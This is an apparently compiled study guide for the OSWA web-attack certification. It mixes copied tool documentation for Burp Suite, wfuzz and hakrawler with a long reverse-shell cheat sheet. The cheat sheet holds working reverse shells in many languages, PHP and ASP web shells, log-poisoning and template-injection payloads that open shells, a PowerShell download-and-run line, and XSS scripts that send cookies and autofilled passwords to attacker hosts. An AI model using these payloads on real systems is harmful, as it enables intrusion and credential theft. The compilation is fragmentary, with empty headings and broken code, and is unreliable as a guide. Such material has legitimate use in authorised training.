OSWA (Offensive Security Web Attacks) - Study Overview PT.1 PDF
OSWA (Offensive Security Web Attacks) - Study Overview PT.1 PDF
Laboratory
OSWA Laboratory
https://portswigger.net/web-security/all-labs
https://tryhackme.com/
https://pentesterlab.com/
https://university.apisec.ai/apisec-certified-expert
https://www.hackthebox.com/hacker/hacking-labs
https://github.com/michelbernardods/labs-pentest
https://github.com/eystsen/pentestlab
https://github.com/bastyn/OSWA
https://github.com/rndinfosecguy/OSWA-Experience-And-Exam-Preparation
https://github.com/Anlominus/Offensive-Security
https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
https://bastijnouwendijk.com/my-oswa-certification-journey/
https://medium.com/@hy3n4/oswa-experience-and-exam-preparation-guide-b4270348f2fa
You can use a combination of manual and automated tools to map the
application.
Manually browse the application in Burp's browser. Your traffic is
proxied through Burp automatically. As you browse, the Proxy
history and Target site map are populated. By default, a live task also
discovers content that can be deduced from responses, for example
from links and forms.
To control the content that is added to the site map and Proxy history,
set the target scope to focus on the items you are interested in. You
can then configure Burp to log only in-scope items.
You can also automate the mapping process and discover additional
content:
Note
Use the Proxy history and Target site map to analyze the information
that Burp captures about the application. While you use these tools
you can quickly view and edit interesting message features in the
Inspector.
You can also use other Burp tools to help you analyze the attack
surface and decide where to focus your attention:
Related tutorials
To investigate the identified issues, you can use multiple Burp tools at
once. To send a request between tools, right-click the request and
select the tool from the context menu. Some example strategies are
outlined below for different types of vulnerabilities:
Input-based vulnerabilities
The following are examples of input-based vulnerabilities:
• SQL injection.
• Cross-site scripting.
• File path traversal.
Other vulnerabilities
Burp contains tools that can be used to perform virtually any task when
probing for other types of vulnerabilities, for example:
https://portswigger.net/burp/documentation/desktop/testing-workflow
1. Spider:
BurpSuite contains an intercepting proxy that lets the user see and
modify the contents of requests and responses while they are in
transit. It also lets the user send the request/response under
monitoring to another relevant tool in BurpSuite, removing the burden
of copy-paste. The proxy server can be adjusted to run on a specific
loop-back ip and a port. The proxy can also be configured to filter out
specific types of request-response pairs.
3. Intruder:
https://www.geeksforgeeks.org/what-is-burp-suite/
https://github.com/bugcrowd/bugcrowd_university/blob/master/Burp%2
0Suite%20Advanced/Bugcrowd%20University%20-
%20Burp%20Suite%20Advanced.pdf
Introduction
Burp Suite is an intercepting HTTP Proxy, and it is the defacto tool for
performing web application security testing. While Burp Suite is a very
useful tool, using it to perform authorization testing is often a tedious
effort involving a "change request and resend" loop, which can miss
vulnerabilities and slow down testing. AutoRepeater, an open source
Burp Suite extension, was developed to alleviate this effort.
AutoRepeater automates and streamlines web application
authorization testing, and provides security researchers with an easy-
to-use tool for automatically duplicating, modifying, and resending
requests within Burp Suite while quickly evaluating the differences in
responses.
AutoRepeater
Without AutoRepeater, the basic Burp Suite web application testing
flow is as follows:
1. User noodles around a web application until they find an
interesting request
2. User sends the request to Burp Suite's "Repeater" tool
3. User modifies the request within "Repeater" and resends it to the
server
4. Repeat step 3 until a sweet vulnerability is found
5. Start again from step 1, until the user runs out of testing time or
can retire from bug bounty earnings
While this testing flow works, it is particularly tedious for testing issues
that could exist within any request. For example, changing email
addresses, account identities, roles, URLs, and CSRF tokens can all
lead to vulnerabilities. Currently, Burp Suite does not quickly test for
these types of vulnerabilities within a web application.
There are some existing Burp Suite plugins (AuthMatrix, Authz, and
Autorize) which exist to make authorization testing easier but each has
issues that limit their usefulness. AuthMatrix and Authz require users to
send specific requests to the plugins and set up rules for how the
authorization testing is performed, which introduces the risk of missing
important requests and slows down testing. Autorize does not provide
the users with the ability to perform general-purpose text replacements
and has a confusing user interface. AutoRepeater takes all the best
ideas from these plugins, along with the Burp Suite's familiar user
interface, and combines them to create the most streamlined
authorization testing plugin.
AutoRepeater provides a general-purpose solution for streamlining
authorization testing within web applications. AutoRepeater provides
the following features:
• Automatically duplicate, modify, and resend any request
• Conditional replacements
• Quick header, cookie, and parameter value replacements
• Split request/response viewer
• Original vs. modified request/response diff viewer
• Base replacements for values that break requests like CSRF
tokens and session cookies
• Renamable tabs
• Logging
• Exporting
• Toggled activation
• "Send to AutoRepeater" from other Burp Suite tools
Sample Usage
Following are some common use cases for AutoRepeater. Some
helpful tips when using the tool are:
• Don't activate autorepeater until you're ready to start browsing.
• Ensure Extender is not using cookies from Burp's cookie jar
(Project Options > Session).
• Check early to ensure your replacements are working as
expected.
• Tabs and configuration are preserved after a restart, but data is
lost.
Testing Unauthenticated User Access
To test whether an unauthenticated user can access the application,
configure one rule under Base Replacements to Remove Header By
Name and then match "Cookie".
Testing Authenticated User Access
To test access between authenticated users (e.g. low privilege to
higher privilege), you'll need to define replacements for each of the
session cookies used.
1. Make note of the cookie names and values for the lower-
privileged session.
2. Configure a rule under Base Replacements for each cookie
to Match Cookie Name, Replace Value. Match the cookie
name, replace with the lower-privileged user's cookie.
3. Repeat for as many roles as you'd like to test.
4. Browse the application as the highest-privileged user.
5. Review the results.
Reviewing User Access Results
To review the results of access testing, first ensure you're using the
latest version of the tool (Git, not BApp store).
1. Sort by URL, then by Resp. Len. Diff.. Items with a difference of
0 and identical status codes are strong indicators of successful
access.
2. Using Logs > Log Filter configure exclusions for irrelevant data
(e.g. File Extension = (png|gif|css|ico), Modified Status Code =
(403|404)).
3. Review the results and manually investigate anything that looks
out of place.
https://github.com/PortSwigger/auto-repeater
https://medium.com/@JAlblas/tryhackme-burp-suite-repeater-
walkthrough-9729c2ace4f7
Checks whether there are FTP servers that allow an FTP bounce
2. ftp-bounce attack to other hosts on the network. (Please refer to earlier
articles, where we have discussed FTP bounce attacks.)
Table 1: Some useful Nmap scripts
p2p-
6. Checks whether a host is infected by the conficker.c worm.
conficker
smb-enum- A very interesting script, which identifies all SMB shares within
7. shares the specified address range.
smb-enum- Will identify all SMB user names within the specified address
8. users range.
sniffer-
9. Finds hosts with pcap libraries installed.
detect
Lists all hosts with SSH version 1. As most of you will be aware,
10. sshv1
this version has documented vulnerabilities.
The various command line options for script scanning are as follows:
Command/details Explanation
nmap-script sshv1 -iL IPList.txt - The command line, running only one
osshv1.txt script, sshv1.
Sniffer detection
Table 3: sniffer-detect scan
Command/details Explanation
Command/details Explanation
smb-enum-users
This is a very interesting script. In one go, you can identify all the users
present on the entire network, and their status. You may wish to identify
which of them have left the organisation, and disable/delete the
corresponding account, as per company policy.
Table 4: smb-enum-users scan
Command/details Explanation
| smb-enum-users:
Command/details Explanation
The power of NMap script scans doesn’t end here. By using various
scanning options, you can run combinations of various script categories
(SMB scans, HTTP scans, etc) at one go.
https://www.interviewbit.com/nmap-cheat-sheet/
Wfuzz contains some dictionaries, other larger and up to date open source
word lists are:
• fuzzdb
• seclists
$ wfuzz -w wordlist/general/common.txt
http://testphp.vulnweb.com/FUZZ
$ wfuzz -w wordlist/general/common.txt
http://testphp.vulnweb.com/FUZZ.php
$ wfuzz -z file,wordlist/others/common_pass.txt -d
"uname=FUZZ&pass=FUZZ" --hc 302
http://testphp.vulnweb.com/userinfo.php
********************************************************
********************************************************
Target: http://testphp.vulnweb.com/userinfo.php
Total requests: 52
==================================================================
==================================================================
Processed Requests: 52
Filtered Requests: 51
Requests/sec.: 24.29739
Fuzzing Cookies
To send your own cookies to the server, for example, to associate a
request to HTTP sessions, you can use the -b parameter (repeat for
various cookies):
The command above will generate HTTP requests such as the one below:
Host: testphp.vulnweb.com
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Wfuzz/2.2
Connection: close
The command above will generate HTTP requests such as the one below:
Host: testphp.vulnweb.com
Accept: */*
Myheader2: headervalue2
Myheader: headervalue
Content-Type: application/x-www-form-urlencoded
User-Agent: Wfuzz/2.2
Connection: close
You can modify existing headers, for example, for specifying a custom
user agent, execute the following:
The command above will generate HTTP requests such as the one below:
Host: testphp.vulnweb.com
Accept: */*
Myheader: headervalue
Content-Type: application/x-www-form-urlencoded
User-Agent: Googlebot-News
Connection: close
********************************************************
Target: http://testphp.vulnweb.com/
Total requests: 5
==================================================================
==================================================================
Processed Requests: 5
Filtered Requests: 0
Requests/sec.: 4.852696
If you want to perform the requests using a specific verb you can also use
“-X HEAD”.
Proxies
If you need to use a proxy, simply use the -p parameter:
$ wfuzz -z file,wordlist/general/common.txt -p localhost:8080
http://testphp.vulnweb.com/FUZZ
In addition to basic HTTP proxies, Wfuzz also supports proxies using the
SOCKS4 and SOCKS5 protocol:
$ wfuzz -z file,wordlist/general/common.txt -p
localhost:2222:SOCKS5 http://testphp.vulnweb.com/FUZZ
Authentication
Wfuzz can set an authentication headers by using the –basic/ntlm/digest
command line switches.
********************************************************
********************************************************
Target:
https://www.httpwatch.com/httpgallery/authentication/authenticatedi
mage/default.aspx
Total requests: 2
==================================================================
==================================================================
00001: C=401 0 L 11 W 58 Ch
"nonvalid"
Processed Requests: 2
Filtered Requests: 0
Requests/sec.: 2.438938
If you want to fuzz a resource from a protected website you can also use
“–basic user:pass”.
Recursion
The -R switch can be used to specify a payload recursion’s depth. For
example, if you want to search for existing directories and then fuzz
within these directories again using the same payload you can use the
following command:
********************************************************
********************************************************
Target: http://testphp.vulnweb.com/FUZZ
Total requests: 3
==================================================================
==================================================================
Perfomance
Several options lets you fine tune the HTTP request engine, depending on
the performance impact on the application, and on your own processing
power and bandwidth.
You can increase or decrease the number of simultaneous requests to
make your attack proceed faster or slower by using the -t switch.
You can tell Wfuzz to stop a given number of seconds before performing
another request using the -s parameter.
Writing to a file
Wfuzz supports writing the results to a file in a different format. This is
performed by plugins called “printers”. The available printers can be
listed executing:
$ wfuzz -e printers
For example, to write results to an output file in JSON format use the
following command:
Different output
Wfuzz supports showing the results in various formats. This is performed
by plugins called “printers”. The available printers can be listed executing:
$ wfuzz -e printers
For example, to show results in JSON format use the following command:
When using the default or raw output you can also select additional
FuzzResult’s fields to show, using –efield, together with the payload
description:
...
000000001: 200 99 L 272 W 3868 Ch 0 | GET
/artists.php?artist=0 HTTP/1.1
Content-Type:
application/x-www-form-urlencoded
User-Agent:
Wfuzz/2.4
Host:
testphp.vulnweb.com
...
The above command is useful, for example, to debug what exact HTTP
request Wfuzz sent to the remote Web server.
To completely replace the default payload output you can use –field
instead:
...
...
...
...
The field printer can be used with a –efield or –field expression to list
only the specified filter expressions without a header or footer:
$ wfuzz -z list --zD https://www.airbnb.com/ --script=links --
script-args=links.regex=.*js$,links.enqueue=False -u FUZZ -o field
--field plugins.links.link | head -n3
https://a0.muscache.com/airbnb/static/packages/4e8d-d5c346ee.js
https://a0.muscache.com/airbnb/static/packages/7afc-ac814a17.js
https://a0.muscache.com/airbnb/static/packages/7642-dcf4f8dc.js
The above command is useful, for example, to pipe wfuzz into other tools
or perform console scripts.
–efield and –field are in fact filter expressions. Check the filter language
section in the advance usage document for the available fields and
operators.
https://wfuzz.readthedocs.io/en/latest/user/basicusage.html
Path Parameters BF
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
Header Authentication
Basic, 2 lists, filter string (show), proxy
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z
"http://example.com/index.php"
NTLM, 2 lists, filter string (show), proxy
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm
'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
Host
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
http://example.com -t 100
https://book.hacktricks.xyz/pentesting-web/web-tool-wfuzz
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/web-tool-wfuzz.md
• Forms
• Endpoints
• Subdomains
• Related domains
• JavaScript files
The goal is to create the tool in a way that it can be easily chained with other
tools such as subdomain enumeration tools and vulnerability scanners in order
to facilitate tool chaining, for example:
Usage
Note: multiple domains can be crawled by piping them into hakrawler from
stdin. If only a single domain is being crawled, it can be added by using the -
domain flag.
$ hakrawler -h
Usage of hakrawler:
-all
Include everything in output - this is the default, so
this option is superfluous (default true)
-auth string
The value of this will be included as a Authorization
header
-cookie string
The value of this will be included as a Cookie header
-depth int
Maximum depth to crawl, the default is 1. Anything above
1 will include URLs from robots, sitemap, waybackurls and the
initial crawler as a seed. Higher numbers take longer but yield
more results. (default 1)
-domain string
The domain that you wish to crawl (for example,
google.com)
-forms
Include form actions in output
-js
Include links to utilised JavaScript files
-outdir string
Directory to save discovered raw HTTP requests
-plain
Don't use colours or print the banners to allow for
easier parsing
-robots
Include robots.txt entries in output
-schema string
Schema, http or https (default "http")
-scope string
Scope to include:
strict = specified domain only
subs = specified domain and subdomains
fuzzy = anything containing the supplied domain
yolo = everything (default "subs")
-sitemap
Include sitemap.xml entries in output
-subs
Include subdomains in output
-urls
Include URLs in output
-usewayback
Query wayback machine for URLs and add them as seeds for
the crawler
-wayback
Include wayback machine entries in output
-linkfinder
Search all JavaScript files for more links. Note that
these will not be complete links, only relative. Parsing full
links from JavaScript is too resource intensive.
Basic Example
Image:
• Bash
o Bash (URL Encode)
• Netcat
o Netcat Linux
▪ -e
▪ -e (URL Encode)
▪ -c
▪ -c (URL Encode)
▪ fifo
▪ fifo (URL Encode)
▪ fifo (Base64)
o Netcat Windows
• cURL
• Wget
• Node-RED
• WebShell
o Exif Data
o ASP WebShell
o PHP WebShell
o Log Poisoning WebShell
▪ SSH
▪ FTP
▪ HTTP
• Server Side Template Injection (SSTI)
• UnrealIRCd
• Exif Data
• Shellshock
o SSH
o HTTP
▪ HTTP 500 Internal Server Error
• CMS
o WordPress
o October
o Jenkins
▪ Windows
▪ Linux
• Perl
• Python
• Python3
• PHP
• Ruby
• Xterm
• Ncat
• Socat
• PowerShell
• Awk
• Gawk
• Golang
• Telnet
• Java
• Node
• Msfvenom
o Web Payloads
▪ PHP
▪ WAR
▪ JAR
▪ JSP
▪ ASPX
o Linux Payloads
▪ Listener Netcat
▪ Listener Metasploit Multi Handler
o Windows Payloads
▪ Listener Netcat
▪ Listener Metasploit Multi Handler
Bash
TCP
bash -i >& /dev/tcp/192.168.1.2/443 0>&1
bash -l > /dev/tcp/192.168.1.2/443 0<&1 2>&1
sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5
>&5; done
UDP
sh -i >& /dev/udp/192.168.1.2/443 0>&1
Bash URL Encode
bash%20-c%20%22bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22
Netcat
Netcat Linux
-e
nc -e /bin/sh 192.168.1.2 443
nc -e /bin/bash 192.168.1.2 443
-e URL Encode
nc%20-e%20%2Fbin%2Fsh%20192.168.1.2%20443
nc%20-e%20%2Fbin%2Fbash%20192.168.1.2%20443
-c
-c URL Encode
nc%20-c%20%2Fbin%2Fsh%20192.168.1.2%20443
nc%20-c%20%2Fbin%2Fbash%20192.168.1.2%20443
fifo
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-
i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff
fifo Base64
Netcat Windows
cURL
Wget
Node-RED
[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow
1"},{"id":"d03f1ac0.886c28","type":"tcp
out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":fa
lse,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28"
,"type":"tcp
in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"192.168.1.2","p
ort":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","b
ase64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3
c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append
":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,
"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]
WebShell
Exif Data
ASP WebShell
<%response.write
CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall
()%>
PHP WebShell
GET
<?=`$_GET[cmd]`?>
<?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
Basic Proportions OK
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>
POST
/var/log/auth.log
ssh '<?php system($_GET['cmd']); ?>'@192.168.1.2
/var/log/auth.log&cmd=id
/var/log/vsftpd.log
root@kali:~# ftp 192.168.1.3
Connected to 192.168.1.3.
220 (vsFTPd 3.0.3)
Name (192.168.1.2:kali): <?php system($_GET['cmd']); ?>
331 Please specify the password.
Password: <?php system($_GET['cmd']); ?>
530 Login incorrect.
Login failed.
ftp>
/var/log/vsftpd.log&cmd=id
/var/log/apache2/access.log
/var/log/nginx/access.log
curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"
User-Agent: <?php system($_GET['cmd']); ?>
/var/log/apache2/access.log&cmd=id
/var/log/nginx/access.log&cmd=id
{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e
/bin/sh 192.168.1.2 443').read()}}
{{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >&
/dev/tcp/192.168.1.2/443 0>&1'",shell=True,stdout=-
1).communicate()[0].strip()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in
x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c
'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-
i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.2/443
0>&1"')}}
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-
i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22%27%29%7D%7D
UnrealIRCd
Shellshock
Shellshock SSH
Shellshock HTTP
CMS
WordPress
/**
* Plugin Name: Shelly
* Plugin URI: http://localhost
* Description: Love Shelly
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/
• Plugins
• Add New
• Upload Plugin
• Install Now
• Activate Plugin
October
function onstart(){
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
}
Jenkins
Jenkins Windows
Netcat (Method 1)
Netcat (Method 2)
CMD
String host="192.168.1.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.a
vailable()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());w
hile(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(
50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
PowerShell
Jenkins Linux
Bash
String host="192.168.1.2";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.a
vailable()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());w
hile(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(
50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Perl
perl -e 'use
Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("t
cp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STD
OUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
Python3
#!/usr/bin/python3
import os
import socket
import subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.2",443))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con
nect(("192.168.1.2",443));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;
pty.spawn("/bin/bash")'
PHP
Ruby
ruby -rsocket -e
'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io
|c.print io.read}end'
Xterm
Ncat
TCP
UDP
Socat
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object
Net.WebClient).DownloadString('http://192.168.1.2/shell.ps1')
powershell -c "IEX(New-Object
System.Net.WebClient).DownloadString('http://192.168.1.2/powercat.ps1');power
cat -c 192.168.1.2 -p 443 -e cmd"
Awk
Gawk
Golang
Telnet
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 |
while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Node
Msfvenom
Web Payloads
PHP Payload
War Payload
JAR Payload
ASPX Payload
Windows Payloads
x86 - Shell
x86 - Meterpreter
Linux Payloads
x86 - Shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.2 LPORT=443 -f elf >
reverse.elf
x64 - Shell
x86 - Meterpreter
https://github.com/d4t4s3c/Offensive-Reverse-Shell-Cheat-Sheet
https://www.hackingdream.net/2020/02/reverse-shell-cheat-sheet-for-penetration-testing-
oscp.html
https://github.com/xl7dev/WebShell
The actual impact of an XSS attack generally depends on the nature of the
application, its functionality and data, and the status of the compromised user.
For example:
• In a brochureware application, where all users are anonymous and all
information is public, the impact will often be minimal.
• In an application holding sensitive data, such as banking transactions, emails,
or healthcare records, the impact will usually be serious.
• If the compromised user has elevated privileges within the application, then the
impact will generally be critical, allowing the attacker to take full control of the
vulnerable application and compromise all users and their data.
The vast majority of XSS vulnerabilities can be found quickly and reliably using
Burp Suite's web vulnerability scanner.
Manually testing for reflected and stored XSS normally involves submitting
some simple unique input (such as a short alphanumeric string) into every entry
point in the application, identifying every location where the submitted input is
returned in HTTP responses, and testing each location individually to determine
whether suitably crafted input can be used to execute arbitrary JavaScript. In
this way, you can determine the context in which the XSS occurs and select a
suitable payload to exploit it.
Manually testing for DOM-based XSS arising from URL parameters involves a
similar process: placing some simple unique input in the parameter, using the
browser's developer tools to search the DOM for this input, and testing each
location to determine whether it is exploitable. However, other types of DOM
XSS are harder to detect. To find DOM-based vulnerabilities in non-URL-based
input (such as document.cookie) or non-HTML-based sinks (like setTimeout),
there is no substitute for reviewing JavaScript code, which can be extremely
time-consuming. Burp Suite's web vulnerability scanner combines static and
dynamic analysis of JavaScript to reliably automate the detection of DOM-
based vulnerabilities.
Content security policy (CSP) is a browser mechanism that aims to mitigate the
impact of cross-site scripting and some other vulnerabilities. If an application
that employs CSP contains XSS-like behavior, then the CSP might hinder or
prevent exploitation of the vulnerability. Often, the CSP can be circumvented to
enable exploitation of the underlying vulnerability.
Preventing cross-site scripting is trivial in some cases but can be much harder
depending on the complexity of the application and the ways it handles user-
controllable data.
https://portswigger.net/web-security/cross-site-scripting
https://www.synopsys.com/glossary/what-is-cross-site-scripting.html
• Javascript
• This code when posted in the comments section will trick the
browser into thinking that it is Javascript code(due to the script
tags) sent by the server and will make it run it.
• When some user visiting the site looks at the comment section
he/she will see a link to an image in the comments section
which is actually the result of the script running.
• When a user clicks on this link thinking that it is an image
(whereas it actually is a PHP file) they get an image rendered
in the comment section. What they don’t know is that this link
silently executed a PHP file that grabs their cookie.
• Now, the cookie which has that user’s session ID is saved in
the attacker’s database and the attacker can pose as that user
on that site.
Cookie Stealing-
1. Classic way-
<script>var i=new Image();
i.src="http://10.10.14.8/?cookie="+btoa(document.cookie);</sc
ript>
Generating certificate.
#!/usr/bin/python3
import http.server, sslserver_address = ('0.0.0.0', 443)
httpd = http.server.HTTPServer(server_address,
http.server.SimpleHTTPRequestHandler)
httpd.socket =
ssl.wrap_socket(httpd.socket,server_side=True,certfile='local
host.pem')
"""ssl_version=ssl.PROTOCOL_TLSv1_2)
"""
httpd.serve_forever()
3. Fetch api
Scenario 1:
<script src=http://10.10.14.8:80/robme.js></script>
Scenerio 2: Stacked.htb
XSS payload-
<script src="http://10.10.14.89/apni.js"></script>
Payload:
<img src='lol' onerror="alert(1)">
XSS via file uploads:
As you can see from the above screenshot there is an input box
to change the current user secret and if you go to
the phpMyAdmin then you will find a secret column
under “users” table.
As you can see from the screenshot in the hidden input field the
user’s name is passed to the server and this is always a bad
practice to send the data in an input hidden field because most
of the time developers forgot to validate this input fields and it
will be very easy for the attacker to inject malicious code to the
application.
Now let’s change the input type of this “hidden” field to “text”.
Right-click “Inspect Element” and go to the hidden input
field and change the input type to text and hit enter.
As per the above screenshot, you can see the attacker changing
the input type to text, so that he can inject malicious code to the
application.
As you can see from the above screenshot the hidden input type
changed to a text input box and now let’s enter the JavaScript
payload to this input box.
"><img src=x onerror=alert(1)>
As you can see from the above screenshot I am able to inject
JavaScript code to the input box.
1. https://portswigger.net/blog/xss-in-hidden-input-
fields
https://hackbotone.com/cross-site-scripting-stored-change-secret-cookies-f7e903ca9c3f
Analysis
The problem
Most browsers have added a feature that is commonly called “autofill”
that will ease the login process for web applications. This feature will
automatically fill your saved credentials for a given web application
without interaction. This feature is enabled by default on most
commonly used browsers, like Firefox, Chrome, Edge, Opera, Internet
Explorer, and sometimes it can’t be disabled at all. Meaning that
there’s no way to prevent credentials from auto-filling in browsers
based on Chromium, like Chrome and Edge, as there is no option to
disable it. The only way to prevent autofill on those browsers is to not
save your credentials at all. It’s an everything-or-nothing kind of
situation for those browsers. Therefore, even if you disabled the “Offer
to save passwords” but still have credentials saved, those browsers will
still autofill.
Now, why is this a problem and how can it be stolen with an XSS
attack? When the browser finds, at any time, an input tag of type
“password”, it will automatically fill it with a password. Therefore, with
an XSS attack, you can simply add a password field somewhere in the
body of the page, wait for the browser to autofill it, and then fetch the
value inside the field to send it to your server.
Of course, the technique above seems easy to execute but it is not
that easy as it depends on many variables, like if that victim has saved
credentials for that origin, which browser they use, how many
credentials they have saved for that origin and if they have autofill
option enabled. It should be noted that password managers can also
be affected by this attack vector if autofill is enabled, which is not by
default on most password managers.
Furthermore, this attack vector is not new and after this was found, it
was easy to identify as other blogs that talk briefly about it. The goal is
to give more visibility to this attack vector and help people understand
the impact of using autofill, which is enabled by default on most
browsers. The environment this was tested in was as realistic as
possible, meaning that it was in HTTPS with a valid certificate.
Attack Vector
Now, let’s get to the part where you will be able to see how easy it is to
steal credentials with a simple XSS attack. First, here’s how Firefox
reacts when you add an input field with the type equal to “password”
anywhere in the page (with only one set of credentials):
Now considering that the victim has one set of credentials on Firefox
for a given origin, let’s make a working payload to extract the
password.
">
<input id="p" type="password" name="password">
<script>
setTimeout(function(){
new Image().src = "https://my_attacker_endpoint/?pass="
+ document.getElementById('p').value;
};
</script>
<input type="hidden<input type="hidden
And in action:
+document.getElementById('u').value+"&pass="
+ document.getElementById('p').value;
document.body.onclick = function(e){};
};
</script>
<input type="hidden
This technique works. After a click in the page, the payload executes,
and the credentials are sent over to the malicious server. Just like
Firefox, what is the behavior of having multiple sets of credentials in
Chrome?
Chrome set the fields to the last used set of credentials. But is it
possible to get the other sets of credentials? What about getting a set
of credentials with Firefox with multiple sets? Does it autofill the
password matching the username in the previous field? Let’s try it out
on Firefox:
Only Chrome, Edge and Opera were tested thoroughly, but there are
other browsers based on the same engine that were not tested as
they are not widely used. In these browsers, there is no option to
disable the autofill and even if the “offer to save passwords” feature is
disabled, if there is a matching set of credentials saved for that origin,
it will autofill. Interestingly, the mobile versions of Chrome and Edge
